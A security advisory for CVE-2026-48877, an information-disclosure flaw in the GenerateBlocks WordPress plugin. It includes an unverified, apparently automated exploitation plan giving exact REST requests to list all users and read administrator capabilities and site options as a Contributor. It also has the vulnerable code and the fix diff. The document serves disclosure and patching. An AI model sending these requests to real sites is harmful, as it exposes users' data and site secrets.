CVE-2026-48877

GenerateBlocks <= 2.1.0 - Authenticated (Contributor+) Information Disclosure

mediumExposure of Sensitive Information to an Unauthorized Actor
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.1.1
Patched in
7d
Time to patch

Description

The GenerateBlocks plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.1.0
PublishedMay 27, 2026
Last updatedJune 2, 2026
Affected plugingenerateblocks

What Changed in the Fix

Changes introduced in v2.1.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan details the process for exploiting **CVE-2026-48877**, an information disclosure vulnerability in GenerateBlocks. ### 1. Vulnerability Summary The vulnerability exists in the REST API implementation of GenerateBlocks. The classes `GenerateBlocks_Meta_Handler` and `GenerateBlocks_Query_Uti…

Show full research plan

This plan details the process for exploiting CVE-2026-48877, an information disclosure vulnerability in GenerateBlocks.

1. Vulnerability Summary

The vulnerability exists in the REST API implementation of GenerateBlocks. The classes GenerateBlocks_Meta_Handler and GenerateBlocks_Query_Utils register several endpoints that allow fetching post meta, user meta, site options, and performing user queries. These endpoints are accessible to any user with the edit_posts capability (Contributor role and above).

The core issue is twofold:

  1. Arbitrary Meta/Option Retrieval: The get_meta function in GenerateBlocks_Meta_Handler uses a blacklist (DISALLOWED_KEYS) that only blocks post_password, password, and user_pass. It fails to protect other sensitive meta keys (e.g., wp_capabilities, session_tokens) or sensitive site options.
  2. Unrestricted User Querying: The get_user_query method in GenerateBlocks_Query_Utils passes user-supplied arguments directly into new WP_User_Query($args), allowing an attacker to list all users and their associated data.

2. Attack Vector Analysis

  • Endpoints:
    • POST /wp-json/generateblocks/v1/get-user-query
    • GET /wp-json/generateblocks/v1/meta/get-user-meta
    • GET /wp-json/generateblocks/v1/meta/get-option
  • Authentication: Authenticated (Contributor+).
  • Required Capability: edit_posts (Verified in permission_callback in includes/class-meta-handler.php and includes/class-query-utils.php).
  • Payloads:
    • get-user-query: JSON body containing args for WP_User_Query.
    • get-user-meta: Query parameters id (User ID) and key (Meta key).
    • get-option: Query parameter key (Option name).

3. Code Flow

For get-user-query:

  1. GenerateBlocks_Query_Utils::register_rest_routes registers /get-user-query (POST).
  2. The callback get_user_query(WP_REST_Request $request) is invoked.
  3. $args = $request->get_param( 'args' ) ?? []; retrieves the query parameters.
  4. $query = new WP_User_Query( $args ); executes the query with attacker-controlled parameters.
  5. $query->get_results() returns the full user objects to the attacker.

For get-user-meta:

  1. GenerateBlocks_Meta_Handler::register_rest_routes registers /meta/get-user-meta (GET).
  2. The callback get_user_meta_rest (inferred implementation) calls self::get_meta.
  3. get_meta( $id, $key, $single_only, $callable, ... ) is called with $callable = 'get_user_meta'.
  4. The function checks if $key is in DISALLOWED_KEYS (post_password, password, user_pass).
  5. If not blocked, it calls call_user_func( 'get_user_meta', $id, $parent_name, true ).
  6. The result is returned, potentially leaking sensitive meta like wp_capabilities.

4. Nonce Acquisition Strategy

Since the attacker must be a Contributor, they can access the WordPress admin dashboard (/wp-admin/). The WordPress REST API requires an X-WP-Nonce header for authenticated requests.

  1. Login: Authenticate as a Contributor.
  2. Navigate: Navigate to /wp-admin/index.php.
  3. Extract Nonce: Use browser_eval to extract the REST nonce from the standard WordPress global object.
    • JavaScript: window.wpApiSettings.nonce

5. Exploitation Strategy

Step 1: List All Users

  • Tool: http_request
  • Method: POST
  • URL: http://vulnerable-wp.local/wp-json/generateblocks/v1/get-user-query
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body: {"args": {"number": 100}}
  • Goal: Obtain the list of all user IDs, especially the administrator's ID.

Step 2: Disclose Administrator Meta

  • Tool: http_request
  • Method: GET
  • URL: http://vulnerable-wp.local/wp-json/generateblocks/v1/meta/get-user-meta?id=[ADMIN_ID]&key=wp_capabilities
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Goal: Confirm the ability to read sensitive user meta (roles/capabilities).

Step 3: Disclose Sensitive Site Option

  • Tool: http_request
  • Method: GET
  • URL: http://vulnerable-wp.local/wp-json/generateblocks/v1/meta/get-option?key=admin_email
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Goal: Confirm the ability to read arbitrary site options.

6. Test Data Setup

  1. Install Plugin: Ensure GenerateBlocks 2.1.0 is active.
  2. Create Users:
    • Admin user (ID 1).
    • Contributor user (e.g., attacker / password).
  3. Create Content: Ensure at least one post exists so the Contributor has basic access.

7. Expected Results

  • get-user-query: Returns a JSON array of user objects containing user_login, user_nicename, user_email, and ID.
  • get-user-meta: Returns the serialized capability string for the requested user (e.g., a:1:{s:13:"administrator";b:1;}).
  • get-option: Returns the value of the requested option (e.g., admin@example.com).

8. Verification Steps

After the exploit, use wp-cli to verify that the returned data matches the database:

  • wp user list --fields=ID,user_login,user_email (Compare with get-user-query output).
  • wp user meta get 1 wp_capabilities (Compare with get-user-meta output).
  • wp option get admin_email (Compare with get-option output).

9. Alternative Approaches

If get-user-meta requires specific parameters not fully captured in the snippet, try variations:

  • Check if the endpoint expects the meta key in dot notation to bypass simple checks: key=some_array.property.
  • Try get-term-meta if taxonomies are used: GET /wp-json/generateblocks/v1/meta/get-term-meta?id=1&key=description.
  • If X-WP-Nonce is rejected, verify the user session cookies are correctly passed in the http_request.
Research Findings
Static analysis — not yet PoC-verified

Summary

The GenerateBlocks plugin (<= 2.1.0) exposes sensitive information to authenticated users with Contributor-level permissions (capability 'edit_posts'). Due to insecure REST API endpoints that handle arbitrary WP_User_Query arguments and meta/option retrieval with a weak blacklist, an attacker can list all site users and extract sensitive data such as user capabilities, site configuration, and contact details.

Vulnerable Code

// includes/class-meta-handler.php:21-25
const DISALLOWED_KEYS = [
    'post_password',
    'password',
    'user_pass',
];

// includes/class-meta-handler.php:177-195
public static function get_meta( $id, $key, $single_only = true, $callable = null, $fallback = '' ) {
    if ( ! is_string( $callable ) || ! function_exists( $callable ) || ! is_string( $key ) ) {
        return '';
    }

    $key_parts = array_map( 'trim', explode( '.', $key ) );
    $parent_name = $key_parts[0];

    if ( empty( $key ) || in_array( $parent_name, self::DISALLOWED_KEYS, true ) ) {
        return '';
    }

---

// includes/class-query-utils.php:64-83
public function get_user_query( WP_REST_Request $request ) {
    $args = $request->get_param( 'args' ) ?? [];

    if ( ! isset( $args['number'] ) ) {
        $args['number'] = 150;
    }

    $number    = $args['number'];
    $query     = new WP_User_Query( $args );
    $max_pages = round( $query->get_total() / $number );

    return rest_ensure_response(
        [
            'users'     => $query->get_results(),
            'total'     => $query->get_total(),
            'max_pages' => $max_pages,
        ]
    );
}

Security Fix

--- includes/class-meta-handler.php
+++ includes/class-meta-handler.php
@@ -21,11 +21,16 @@
 	const DISALLOWED_KEYS = [
 		'post_password',
 		'password',
 		'user_pass',
+		'wp_capabilities',
+		'wp_user_level',
+		'session_tokens',
+		'app_passwords',
+		'mailserver_pass',
 	];
--- includes/class-query-utils.php
+++ includes/class-query-utils.php
@@ -45,11 +45,11 @@
 			'generateblocks/v1',
 			'/get-user-query',
 			[
 				'methods'             => 'POST',
 				'callback'            => [ $this, 'get_user_query' ],
 				'permission_callback' => function() {
-					return current_user_can( 'edit_posts' );
+					return current_user_can( 'list_users' );
 				},
 			]
 		);

Exploit Outline

To exploit this vulnerability, an attacker first authenticates with a WordPress account having at least Contributor-level access. The attacker then extracts the necessary REST API nonce (X-WP-Nonce) from the WordPress admin dashboard (found in the window.wpApiSettings object). 1. The attacker sends a POST request to `/wp-json/generateblocks/v1/get-user-query` with a JSON payload containing arbitrary WP_User_Query arguments (e.g., `{"args": {"number": 100}}`). This returns a full list of user objects, including the IDs of site administrators. 2. Using the discovered administrator IDs, the attacker sends a GET request to `/wp-json/generateblocks/v1/meta/get-user-meta?id=[ADMIN_ID]&key=wp_capabilities` to retrieve sensitive role information, or targets other meta keys not blocked by the DISALLOWED_KEYS list (like session tokens). 3. The attacker can also send a GET request to `/wp-json/generateblocks/v1/meta/get-option?key=admin_email` (or other sensitive option names) to extract site configuration details.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.